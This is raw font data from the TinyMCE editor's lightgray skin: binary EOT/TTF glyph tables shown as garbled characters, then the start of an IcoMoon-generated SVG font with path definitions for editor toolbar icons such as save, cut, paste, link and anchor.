7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��
 ��� �
���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@
->54.+!2>54&''46;2+5#"&=32#q$+#=R.�
.R=#P?�C -- s�s� --
�S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��`
��@�xX
��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8
�o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���
 @0�0@ 
@�
@&&@
�
�@@@�@@����@��@�@@�@���
`%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb
B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version
1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont
generated by IcoMoon.Font generated by
IcoMoon.PKV��[��5�D�D)tinymce/skins/lightgray/fonts/tinymce.eotnu�[����DD�LP�#�tinymceRegularVersion
1.0tinymce�0OS/2��`cmap�f��4gaspPglyf}
�=X<�head/>�6hhea�6?$$hmtx��?H�loca�e�TA<�maxp��B8
name�TBX�postC�
��������3	@�x���@�@
B@
�(�5���+�������(�*�-�5�=�A�a���6��j�����j���x����
��*��
�*�������&�*�-�0�9�?�a���5��j�����j���x������

98IKIDB<431/,+��=�������797979���!!!3#!3!3��������@@K5�������@5@����1'.#!"3!2654&#5#!"&5463!23��P!�
!//!�!/!E��	�
		����!/!��!//!`!P���		`	����/75'.'7'./#'737>77'>7'#'573�hq�+�+�qh��hq�+�+�qh�������p�+�qh��hq�+�+�qh��hq�+
������!!!!!!!!!!�����������@���@����!!!!!!!!!!�������������@���@����!!!!!!!!!!��������������@���@����!!!!!!!!!!�������@�@�@�@�m����2Vb�%.+'>4&'	#"3267>'732676&'#"&'.5467>7>7>327"&54632#"&'.'.'.5467>32{"T(@������@(T"=3;
(S#("AA"(#S(
;3=���%55%%552�"#@DHD���DHD�@#"=�3#"(c.BB.c("#3�=�

�5&%55%&5�

@���&*-354&+54&+"#"3!!781381#55!537#!!@
�&�&�


��������e�����
@&&@
��
��@@�@@�[e@�@���)7ES!!%!!#!!!#"3!26533!2654&#"&546;2#"&546;2#"&546;2@������x8���8**0*�*0**�����@

@
o���@@@���*��**x��**0*��



�



�@



���#/!!!!!!4632#"&4632#"&4632#"&������������K55KK55KK55KK55KK55KK55K������@5KK55KK��5KK55KK��5KK55KK@���)%!!!!!!'#5#53#575#53#535#535#5�����������@@@�����������������@��2@�<2@��@@@@@�!!!!!!!!!!����������������@�@�@�@����!!!!!!!!!!%�����������������@�@�@�@�����@=2#".5'4>3">!2#".5'4>3">�.R=##=R..R=#Fz�]@u-	I.R=##=R..R=#Fz�]@u-	#=R..R=##=R.
]�zF�0.
#=R..R=##=R. ]�zF�0.
@����
>.	6�+&8�������FO@M��e�����������5	5&&>@�����8&+iOF��������e��Mr�.����
@r67>'&7#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64@
'<

'���
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�


	c
		
�	
A19�.
<'

��'
	�
		
c	

	�	
A�.�-c�*u.Ac�*u.A
	�
		
c	

	�	
A�-����2eimquy}#"&/.546?>327.#"326?>''.#"7.546?>32#"&'326?64''773#3#'3#3#�
	�


	c
		
�	
A19�..c9:�*#A�c9:�*#A
	�	

	c
		
�	
A19�..��.�i@@�����.��@@��
	�
		
c	

	�	
A�-�-d�*u.Ac�*u.A
	�
		
c	

	�	
A�-�-��.��@��.�)��@���@�			!�@@@����@�����%@!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`	@@"!#535#535#53!!#535#535#53%��������@����������@��@����������������������8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P@���	3	!#	3@�����������6�J+6@J"32>54.#"&'.5467>32'>77.'#17'P�i<<i�PP�i<<i�|)i::i)(,,()i::i)(,,�R+%C:0V`<.V0:C%+<`��@�(�<i�PP�i<<i�PP�i<��(,,()i::i)(,,()i::iV0:C%+<`�+%C:0V`6�
�2v�
Il"32>7.2#"&546#"&'.'.'>7>732654&'.#">7>325.'O��p,,p��OO��p,,p���%%%%a?
"D##D"
?/U##U/2pPPp2/U##U()UWZ..ZWU),R%*a5&MPS**SPM&5a*%R,�$C_::_C$$C_::_C$�%%%%��A((A
6PppP6
A((A�9!m,I

I,m!9��0%7!3#33#B::r��r�H:��������
�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@
����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������3%!7!5>54.#"!!5.54>32�@��1R<!7`�II�`7!<R1��@FvU/P��jj��P/UvF@���H_p>P�g;;g�P>p_H��!Sl�G]�zFFz�]G�lS���'3?S"32>54.".54>32#"&54632#"&546322>7#".'j��PP��jj��PP��jY�uDDu�YY�uDDu��%%%%�%%%%�5aRB8Um==mU8BRa�P��jj��PP��jj��P�PDu�YY�uDDu�YY�uDp%%%%%%%%��"-@oQ//Qo@-"�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@
F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!�������������
��@
���@@@@@@@@@@�@��������@�����%+2#5267>54&'.#"33>!3@]�zFFz�]G�225522�GG�2&2	���Nv����Fz�]]�zF`522�GG�22552&_4�Q�g;���@��@�$>54.#!!2>54&32+#32�
(F]5���5]F(D��e*<<)f���,>>�"T/5]F(��(F]5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�3#".533267>5!!��2WuBBuW2�I((I������`<iN--Ni<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####".54>�����.R=##=R�����#=R..R=#@��!####".54>
�����.R=##=R��������#=R..R=#����
��!####".54>-����.R=##=R������#=R..R=#�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''�
������������5A!'!!3!!.54>32'>54&#"3267?6&%"&54632��`
��@�8K-�@�'B0+Jc88cJ+c�
pPPppP2�3��3II33II@@�����3BQ,8cJ++Jc8
ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!
 @0�0@  @
�&�&�


���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0��}:)%!!!!>2&'>7>&'.s��CI�L���B���BBBBB.mv{;.`_X%8<04-t~8V��P�G�GBBBBB���B-<
3%9���4-0&)V'-����+i'#".'81<5<51045041>7'7818181<1.10>7>71099>581<5<5}Z@JQ+N�i>%�-�:c-x�u%;K%F
<<)?,MY0";f�P'OMJ#�-���d0w�k
:R1F&BB&4c^W'MG$��
`%KWj546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==�=+*;>%ZX+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@�������������@�����@������������@���@���@���@������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J
)0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,(
p
+!"'	
3	#�p
E7:MV� ''
!%'%"$%-3G9<G2.���2.#"34>32!#".'7!732>5z#U`j8j��P`Aq�V.WOE�`�&Aq�V.WOE����#U`j8j��P&>+P��jV�qA$3
�`���V�qA$3 ����&>+P��j���
(,'>735!5#!!.'#7261%#3733%7#*w4+#
���]��H3!6\D+�D�$]�]3�3]��MM�0v"IMP(]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������	5	!!!�������r��s���s�����
@�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8
���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`&.106726'46.#"310!4.oE
SZZS
EpqU�Uqp>V@dW^JJ^Wd@V>-FZ00ZF-����##54&+"#"3!2654&%46;2!PqO�Oq
�\&�&��OqqO��
��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&��
��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���8M3#2#575!57"32>7>54.'.#512#".54>���%������*PKD--DKP**PKD--DKP*j��PP��jj��PP���@%��@�@��-DKP**PKD--DKP**PKD-`P��jj��PP��jj��P���'3"32>54.".54>32##5#53533j��PP��jj��PP��jP�i<<i�PP�i<<i���������P��jj��PP��jj��P��<i�PP�i<<i�PP�i<@��������!"32>54.3#!53#533j��PP��jj��PP�������@@�@�P��jj��PP��jj��P���@@�����	
%!!#535#3��@��
� �ࠀ������@�� �
��������a�6.'32>7>&'#"&'32>7>'aK\j77j\KHYe55eYH~!|F)N!

,TJ="
"�E�wl//lw�E+XXV).L66L.)VXX+��>K-?'@�5*0�A@@3!26=4&#!"
�

�@

�

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b�
@�@#"#7#4>32#2>54.#`P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<
@�@#23'34.#"3".54>3�P�i<����+Jd99dJ++Jd9P�i<<i�P@<i�P��9dJ++Jd99dJ+n<i�PP�i<�!!�@��@�����!)@��@�������"6B%'.>54.#"326776&".54>32##33535#��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]������Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(����������"6:%'.>54.#"326776&".54>32!!��'+1<i�PP�i<<i�PG�2�K��5]F((F]55]F((F]����Y�2�GP�i<<i�PP�i<1+'�K(F]55]F((F]55]F(@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"32>54."&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5]F((F]55]F((F]5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�(F]55]F((F]55]F(�`^BB^^BB^3��.''>7>.'�-`1.6!((r��KK.\ʿ�553z\�
<���EFhA
'C53z\\˿�6���"32>54.4>3".j��PP��jj��PP���<i�PP�i<�P��jj��PP��jj��P�P�i<�<i��C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@����#�_<��������������}@m@@@.�@6�@������@
�@0-��@*@@@@���@
 @3��
B��8b�R�^���Pn�<�F���
<����		`	�

P
�
�@��L���

P
�
�
t�x6x��$\��F|��Fz�&Rd��0h��>r�Z�Dl��(<P^l���"4��\vHx���J}��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version
1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated
by IcoMoon.Font generated by
IcoMoon.PKV��[��p|����)tinymce/skins/lightgray/fonts/tinymce.svgnu�[���<?xml
version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960"
descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512"
d="" />
<glyph unicode="&#xe000;" glyph-name="save"
d="M896 960h-896v-1024h1024v896l-128 128zM512
832h128v-256h-128v256zM896
64h-768v768h64v-320h576v320h74.978l53.022-53.018v-714.982z" />
<glyph unicode="&#xe001;"
glyph-name="newdocument" d="M903.432 760.57l-142.864
142.862c-31.112 31.112-92.568 56.568-136.568 56.568h-480c-44
0-80-36-80-80v-864c0-44 36-80 80-80h736c44 0 80 36 80 80v608c0 44-25.456
105.458-56.568 136.57zM858.178 715.314c3.13-3.13 6.25-6.974
9.28-11.314h-163.458v163.456c4.34-3.030 8.184-6.15
11.314-9.28l142.864-142.862zM896 16c0-8.672-7.328-16-16-16h-736c-8.672 0-16
7.328-16 16v864c0 8.672 7.328 16 16 16h480c4.832 0 10.254-0.61
16-1.704v-254.296h254.296c1.094-5.746 1.704-11.166 1.704-16v-608z"
/>
<glyph unicode="&#xe002;" glyph-name="fullpage"
d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088
58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434
15.124-54.942 27.026-84.982 35.208l-15.914
159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838
104.594-113.050-113.050
104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042
20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838
104.596c26.432-15.124 54.94-27.028
84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548
20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124
26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128
128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft"
d="M0 896h1024v-128h-1024zM0 704h640v-128h-640zM0 320h640v-128h-640zM0
512h1024v-128h-1024zM0 128h1024v-128h-1024z" />
<glyph unicode="&#xe004;"
glyph-name="aligncenter" d="M0 896h1024v-128h-1024zM192
704h640v-128h-640zM192 320h640v-128h-640zM0 512h1024v-128h-1024zM0
128h1024v-128h-1024z" />
<glyph unicode="&#xe005;"
glyph-name="alignright" d="M0 896h1024v-128h-1024zM384
704h640v-128h-640zM384 320h640v-128h-640zM0 512h1024v-128h-1024zM0
128h1024v-128h-1024z" />
<glyph unicode="&#xe006;"
glyph-name="alignjustify" d="M0 896h1024v-128h-1024zM0
704h1024v-128h-1024zM0 512h1024v-128h-1024zM0 320h1024v-128h-1024zM0
128h1024v-128h-1024z" />
<glyph unicode="&#xe007;" glyph-name="cut"
d="M890.774 250.846c-45.654 45.556-103.728 69.072-157.946
69.072h-29.112l-63.904 64.008 255.62 256.038c63.904 64.010 63.904 192.028 0
256.038l-383.43-384.056-383.432 384.054c-63.904-64.008-63.904-192.028
0-256.038l255.622-256.034-63.906-64.008h-29.114c-54.22
0-112.292-23.518-157.948-69.076-81.622-81.442-92.65-202.484-24.63-270.35
29.97-29.902 70.288-44.494 112.996-44.494 54.216 0 112.29 23.514 157.946
69.072 53.584 53.464 76.742 124 67.084 185.348l65.384 65.488
65.376-65.488c-9.656-61.348 13.506-131.882 67.084-185.348 45.662-45.558
103.732-69.072 157.948-69.072 42.708 0 83.024 14.592 112.994 44.496 68.020
67.866 56.988 188.908-24.632 270.35zM353.024
114.462c-7.698-17.882-19.010-34.346-33.626-48.926-14.636-14.604-31.172-25.918-49.148-33.624-16.132-6.916-32.96-10.568-48.662-10.568-15.146
0-36.612 3.402-52.862 19.612-16.136 16.104-19.52 37.318-19.52 52.288 0
15.542 3.642 32.21 10.526 48.212 7.7 17.884 19.014 34.346 33.626 48.926
14.634 14.606 31.172 25.914 49.15 33.624 16.134 6.914 32.96 10.568 48.664
10.568 15.146 0 36.612-3.4 52.858-19.614 16.134-16.098 19.522-37.316
19.522-52.284 0.002-15.542-3.638-32.216-10.528-48.214zM512.004
293.404c-49.914 0-90.376 40.532-90.376 90.526 0 49.992 40.462 90.52 90.376
90.52s90.372-40.528
90.372-90.52c0-49.998-40.46-90.526-90.372-90.526zM855.272
40.958c-16.248-16.208-37.712-19.612-52.86-19.612-15.704 0-32.53
3.652-48.666 10.568-17.972 7.706-34.508 19.020-49.142 33.624-14.614
14.58-25.926 31.042-33.626 48.926-6.886 15.998-10.526 32.672-10.526 48.212
0 14.966 3.384 36.188 19.52 52.286 16.246 16.208 37.712 19.614 52.86 19.614
15.7 0 32.53-3.654 48.66-10.568 17.978-7.708 34.516-19.018 49.15-33.624
14.61-14.58 25.924-31.042 33.626-48.926 6.884-15.998 10.526-32.67
10.526-48.212-0.002-14.97-3.39-36.186-19.522-52.288z" />
<glyph unicode="&#xe008;" glyph-name="paste"
d="M832 640v160c0 17.6-14.4 32-32 32h-224v64c0 35.2-28.8 64-64
64h-128c-35.204 0-64-28.8-64-64v-64h-224c-17.602
0-32-14.4-32-32v-640c0-17.6 14.398-32 32-32h288v-192h448l192
192v512h-192zM384 895.886c0.034 0.038 0.072 0.078 0.114
0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192
704v64h512v-64h-512zM832 26.51v101.49h101.49l-101.49-101.49zM960
192h-192v-192h-320v576h512v-384z" />
<glyph unicode="&#xe009;"
glyph-name="searchreplace" d="M64 960h384v-64h-384zM576
960h384v-64h-384zM952 640h-56v256h-256v-256h-256v256h-256v-256h-56c-39.6
0-72-32.4-72-72v-560c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72
72v376h128v-376c0-39.6 32.4-72 72-72h304c39.6 0 72 32.4 72 72v560c0
39.6-32.4 72-72 72zM348 0h-248c-19.8 0-36 14.4-36 32s16.2 32 36 32h248c19.8
0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32 32s14.4 32
32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM924 0h-248c-19.8 0-36 14.4-36
32s16.2 32 36 32h248c19.8 0 36-14.4 36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist"
d="M384 896h640v-128h-640v128zM384 512h640v-128h-640v128zM384
128h640v-128h-640v128zM0 832c0 70.692 57.308 128 128 128s128-57.308
128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128zM0 448c0 70.692
57.308 128 128 128s128-57.308 128-128c0-70.692-57.308-128-128-128s-128
57.308-128 128zM0 64c0 70.692 57.308 128 128 128s128-57.308
128-128c0-70.692-57.308-128-128-128s-128 57.308-128 128z" />
<glyph unicode="&#xe00b;" glyph-name="numlist"
d="M384 128h640v-128h-640zM384 512h640v-128h-640zM384
896h640v-128h-640zM192 960v-256h-64v192h-64v64zM128
434v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM256
256v-320h-192v64h128v64h-128v64h128v64h-128v64z" />
<glyph unicode="&#xe00c;" glyph-name="indent"
d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384
512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM0
256v384l256-192z" />
<glyph unicode="&#xe00d;" glyph-name="outdent"
d="M0 896h1024v-128h-1024zM384 704h640v-128h-640zM384
512h640v-128h-640zM384 320h640v-128h-640zM0 128h1024v-128h-1024zM256
640v-384l-256 192z" />
<glyph unicode="&#xe00e;"
glyph-name="blockquote" d="M225 512c123.712 0 224-100.29
224-224 0-123.712-100.288-224-224-224s-224 100.288-224 224l-1 32c0 247.424
200.576 448 448 448v-128c-85.474
0-165.834-33.286-226.274-93.726-11.634-11.636-22.252-24.016-31.83-37.020
11.438 1.8 23.16 2.746 35.104 2.746zM801 512c123.71 0 224-100.29 224-224
0-123.712-100.29-224-224-224s-224 100.288-224 224l-1 32c0 247.424 200.576
448 448 448v-128c-85.474
0-165.834-33.286-226.274-93.726-11.636-11.636-22.254-24.016-31.832-37.020
11.44 1.8 23.16 2.746 35.106 2.746z" />
<glyph unicode="&#xe00f;" glyph-name="undo"
d="M761.862-64c113.726 206.032 132.888 520.306-313.862
509.824v-253.824l-384 384 384 384v-248.372c534.962 13.942 594.57-472.214
313.862-775.628z" />
<glyph unicode="&#xe010;" glyph-name="redo"
d="M576 711.628v248.372l384-384-384-384v253.824c-446.75
10.482-427.588-303.792-313.86-509.824-280.712 303.414-221.1 789.57 313.86
775.628z" />
<glyph unicode="&#xe011;" glyph-name="link"
d="M320 256c17.6-17.6 47.274-16.726 65.942 1.942l316.118
316.116c18.668 18.668 19.54 48.342 1.94 65.942s-47.274
16.726-65.942-1.942l-316.116-316.116c-18.668-18.668-19.542-48.342-1.942-65.942zM476.888
284.888c4.56-9.050 6.99-19.16 6.99-29.696
0-17.616-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992s-34.060
6.744-46.308 18.992l-99.382 99.382c-12.248 12.248-18.992 28.694-18.992
46.308s6.744 34.060 18.992 46.308l163.382 163.382c12.248 12.248 28.694
18.994 46.308 18.994 10.536 0 20.644-2.43 29.696-6.99l65.338 65.338c-27.87
21.41-61.44 32.16-95.034 32.16-39.986
0-79.972-15.166-110.308-45.502l-163.382-163.382c-60.67-60.67-60.67-159.948
0-220.618l99.382-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0
79.974 15.168 110.308 45.502l163.382 163.382c55.82 55.82 60.238 144.298
13.344 205.344l-65.34-65.34zM978.498 815.116l-99.382 99.382c-30.334
30.336-70.32 45.502-110.308 45.502-39.986
0-79.972-15.166-110.308-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338
65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992
46.308l163.382 163.382c12.248 12.248 28.694 18.994 46.308
18.994s34.060-6.746 46.308-18.994l99.382-99.382c12.248-12.248 18.992-28.694
18.992-46.308s-6.744-34.060-18.992-46.308l-163.382-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536
0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16
95.034-32.16 39.988 0 79.974 15.168 110.308 45.502l163.382 163.382c60.67
60.666 60.67 159.944 0 220.614z" />
<glyph unicode="&#xe012;" glyph-name="unlink"
d="M476.888 284.886c4.56-9.048 6.99-19.158 6.99-29.696
0-17.616-6.744-34.058-18.992-46.308l-163.38-163.38c-12.248-12.248-28.696-18.992-46.308-18.992s-34.060
6.744-46.308 18.992l-99.38 99.38c-12.248 12.25-18.992 28.696-18.992
46.308s6.744 34.060 18.992 46.308l163.38 163.382c12.248 12.246 28.696
18.992 46.308 18.992 10.538 0 20.644-2.43 29.696-6.988l65.338 65.336c-27.87
21.41-61.44 32.16-95.034 32.16-39.986
0-79.972-15.166-110.308-45.502l-163.38-163.382c-60.67-60.67-60.67-159.95
0-220.618l99.38-99.382c30.334-30.332 70.32-45.5 110.306-45.5 39.988 0
79.974 15.168 110.308 45.502l163.38 163.38c55.82 55.82 60.238 144.298
13.344 205.346l-65.34-65.338zM978.496 815.116l-99.38 99.382c-30.334
30.336-70.32 45.502-110.308 45.502-39.986
0-79.97-15.166-110.306-45.502l-163.382-163.382c-55.82-55.82-60.238-144.298-13.342-205.342l65.338
65.34c-4.558 9.050-6.988 19.16-6.988 29.694 0 17.616 6.744 34.060 18.992
46.308l163.382 163.382c12.246 12.248 28.694 18.994 46.306 18.994 17.616 0
34.060-6.746 46.308-18.994l99.38-99.382c12.248-12.248 18.992-28.694
18.992-46.308s-6.744-34.060-18.992-46.308l-163.38-163.382c-12.248-12.248-28.694-18.992-46.308-18.992-10.536
0-20.644 2.43-29.696 6.99l-65.338-65.338c27.872-21.41 61.44-32.16
95.034-32.16 39.988 0 79.974 15.168 110.308 45.504l163.38 163.38c60.672
60.666 60.672 159.944 0 220.614zM233.368 681.376l-191.994 191.994 45.256
45.256 191.994-191.994zM384 960h64v-192h-64zM0 576h192v-64h-192zM790.632
214.624l191.996-191.996-45.256-45.256-191.996 191.996zM576
128h64v-192h-64zM832 384h192v-64h-192z" />
<glyph unicode="&#xe013;" glyph-name="anchor"
d="M192 960v-1024l320 320 320-320v1024h-640zM768 90.51l-256
256-256-256v805.49h512v-805.49z" />
